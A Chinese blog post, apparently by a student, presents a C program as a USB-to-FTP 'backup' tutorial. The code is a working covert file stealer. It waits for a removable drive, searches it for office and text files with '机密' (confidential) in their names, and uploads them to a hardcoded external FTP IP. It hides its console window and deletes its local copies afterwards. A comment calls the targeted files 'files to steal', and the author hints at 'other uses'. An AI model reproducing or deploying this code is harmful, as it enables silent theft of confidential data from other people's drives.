在数字化时代,数据的安全性变得至关重要。我们经常使用U盘来存储重要文件,但U盘的便携性也意味着它容易丢失或损坏。为了保护我们的数据,定期将U盘上的文件备份到远程服务器是一个明智的选择。本文将介绍如何使用C语言编写一个简单的脚本,实现将U盘指定文件自动备份到FTP服务器的功能。

环境准备

  • VisualStudio:确保你的电脑安装了C语言编译环境。
  • libcurl库:C语言的FTP库,用于与FTP服务器通信。
  • U盘:一个包含你想要备份文件的U盘。
  • FTP服务器:一个可以用于文件上传的FTP服务器,确保你有服务器的访问权限和必要的登录凭证。

步骤概览

  1. 新建C语言项目。
  2. 将源码导入项目,修改相关参数;
  3. 导入程序所需库文件,并调试。
  4. 打包项目为exe程序。

源码实现

#define _CRT_SECURE_NO_WARNINGS
#define _CRT_NON_CONFORMING_SWPRINTFS 1
#include <stdio.h>
#include <windows.h>
#include <curl/curl.h>
#include <string>

#pragma comment(lib, "libcurl.lib")

// 将Unicode字符串转换为UTF-8
char* utf8_encode(const wchar_t* wstr) {
    int size = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL);
    if (size == 0) {
        return NULL;
    }

    char* utf8_str = (char*)malloc(size);
    if (utf8_str) {
        WideCharToMultiByte(CP_UTF8, 0, wstr, -1, utf8_str, size, NULL, NULL);
    }

    return utf8_str;
}

// 将字符串进行URL编码
char* url_encode(const char* str) {
    CURL* curl = curl_easy_init();
    if (curl) {
        char* encoded_str = curl_easy_escape(curl, str, 0);
        curl_easy_cleanup(curl);
        return encoded_str;
    }
    return NULL;
}

size_t read_callback(void* ptr, size_t size, size_t nmemb, void* stream) {
    FILE* file = (FILE*)stream;
    size_t bytesRead = fread(ptr, size, nmemb, file);
    return bytesRead;
}

void FindFile(char* filename, CURL* curl, CURLcode& res)
{
    char path[260] = { 0 };
    sprintf(path, "%s\\%s", filename, "*.*");
    WIN32_FIND_DATA finddata;

    HANDLE hfile = FindFirstFile(path, &finddata);
    int n = 1;
    char temppath[260];
    while (1)
    {
        if (finddata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
        {
            if (finddata.cFileName[0] != '.')
            {
                sprintf(temppath, "%s\\%s", filename, finddata.cFileName);
                FindFile(temppath, curl, res);
            }
        }
        else
        {
            // 要偷取的文件类型以及指定的文件名,可根据需求更改
            const char* extension = strrchr(finddata.cFileName, '.');
            if (extension != NULL &&
                    (strcmp(extension, ".doc") == 0 ||
                    strcmp(extension, ".docx") == 0 ||
                    strcmp(extension, ".xls") == 0 ||
                    strcmp(extension, ".xlsx") == 0 ||
                    strcmp(extension, ".txt") == 0) &&
                    (strstr(finddata.cFileName, "机密1") != NULL ||
                     strstr(finddata.cFileName, "机密2") != NULL || 
                     strstr(finddata.cFileName, "机密3") != NULL))
            {
                sprintf(temppath, "%s\\%s", filename, finddata.cFileName);
                printf("%s\n", temppath);

                char mypath[260];
                CreateDirectory("D:\\Backup", NULL);
                sprintf(mypath, "D:\\Backup\\%s", finddata.cFileName);
                CopyFile(temppath, mypath, TRUE);
                //DeleteFile(temppath);

                // 备份到 D:/Backup 文件夹后,调用上传到 FTP 服务器的代码
                FILE* file = fopen(mypath, "rb");
                if (!file) {
                    fprintf(stderr, "Could not open file for reading: %s\n", mypath);
                    continue;
                }

                // 使用MultiByteToWideChar转换为wchar_t*
                wchar_t wfileName[260];
                MultiByteToWideChar(CP_ACP, 0, finddata.cFileName, -1, wfileName, sizeof(wfileName) / sizeof(wfileName[0]));

                // 设置上传文件的数据
                curl_easy_setopt(curl, CURLOPT_READDATA, file);

                // 将Unicode文件名转换为UTF-8
                char* utf8FileName = utf8_encode(wfileName);

                // URL编码文件名
                char* encodedFileName = url_encode(utf8FileName);

                // 设置上传文件的目标文件名
                char remoteFilePath[256];
                sprintf(remoteFilePath, "ftp://175.178.75.84/%s", encodedFileName);
                curl_easy_setopt(curl, CURLOPT_URL, remoteFilePath);

                // 执行上传操作
                res = curl_easy_perform(curl);

                // 检查操作是否成功
                if (res != CURLE_OK)
                    fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));

                // 释放内存
                free(utf8FileName);
                curl_free(encodedFileName);

                // 关闭文件
                fclose(file);
            }
        }
        n = FindNextFile(hfile, &finddata);
        if (n == 0)
            break;
    }
}


// 递归删除目录及其内容
void RemoveDirectoryRecursive(const char* path) {
    WIN32_FIND_DATA findData;
    HANDLE hFind = FindFirstFile((std::string(path) + "\\*").c_str(), &findData);

    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if (strcmp(findData.cFileName, ".") != 0 && strcmp(findData.cFileName, "..") != 0) {
                std::string filePath = std::string(path) + "\\" + findData.cFileName;
                if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
                    // 递归删除子目录
                    RemoveDirectoryRecursive(filePath.c_str());
                }
                else {
                    // 删除文件
                    DeleteFile(filePath.c_str());
                }
            }
        } while (FindNextFile(hFind, &findData) != 0);

        FindClose(hFind);
    }

    // 删除空目录
    RemoveDirectory(path);
}


int main()
{
    char diskPath[5] = { 0 };
    DWORD allDisk = 0;
    int i = 0;

    while (1)
    {
        allDisk = GetLogicalDrives();  //00000000 00000000 00000000 00011100

        for (i = 0; i < 10; i++) //假设最多10个盘符
        {
            if ((allDisk & 1) == 1)  //A B C D E F G H I J K
            {
                sprintf(diskPath, "%c:", 'A' + i);

                if (GetDriveType(diskPath) == DRIVE_REMOVABLE)
                    break;
            }
            allDisk = allDisk >> 1;  //往右移动一位
        }
        if (GetDriveType(diskPath) == DRIVE_REMOVABLE)
            break;
    }


    // 设置链接器选项,使程序不显示控制台窗口
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

    CURL* curl;
    CURLcode res;

    // 初始化libcurl
    curl_global_init(CURL_GLOBAL_ALL);

    // 创建CURL句柄
    curl = curl_easy_init();

    if (curl) {
        // 如下内容自行更改为你的ftp地址、用户名和密码
        // 设置FTP服务器地址
        curl_easy_setopt(curl, CURLOPT_URL, "ftp://127.0.0.1");
        // 设置用户名和密码
        curl_easy_setopt(curl, CURLOPT_USERPWD, "admin:123456");
        // 设置上传文件的回调函数和数据
        curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
        // 设置上传文件的标志
        curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
        // 调用备份到 D:/Backup 的函数
        FindFile(diskPath, curl, res);
        // 检查FTP上传是否成功,如果成功就删除备份目录,失败不删
        if (res != CURLE_OK) {
            fprintf(stderr, "FTP upload failed: %s\n", curl_easy_strerror(res));
            // 处理上传失败的情况,可以添加适当的错误处理代码
        }
        else {
            // 清理CURL句柄
            curl_easy_cleanup(curl);

            // 全局清理
            curl_global_cleanup();

            // 删除备份目录
            RemoveDirectoryRecursive("D:\\Backup");
        }

        return 0;
    }
}

相关文件下载地址:点击下载

注意事项

  • 在实际应用中,你可能需要根据U盘的挂载路径和文件类型进行相应的调整。
  • 此程序的其他用途不必多说,懂得都懂!
  • 此源码仅供学习使用,请勿用于违法用途!

结语

  • 此项目是作者在大二期末前一个星期挑灯夜战完成的,虽然代码结构简单但是对于初学者来说也是颇具挑战性,好在最终也是达到了目的,希望这篇博文对你有所帮助!如果你有任何问题或建议,欢迎在评论区留言。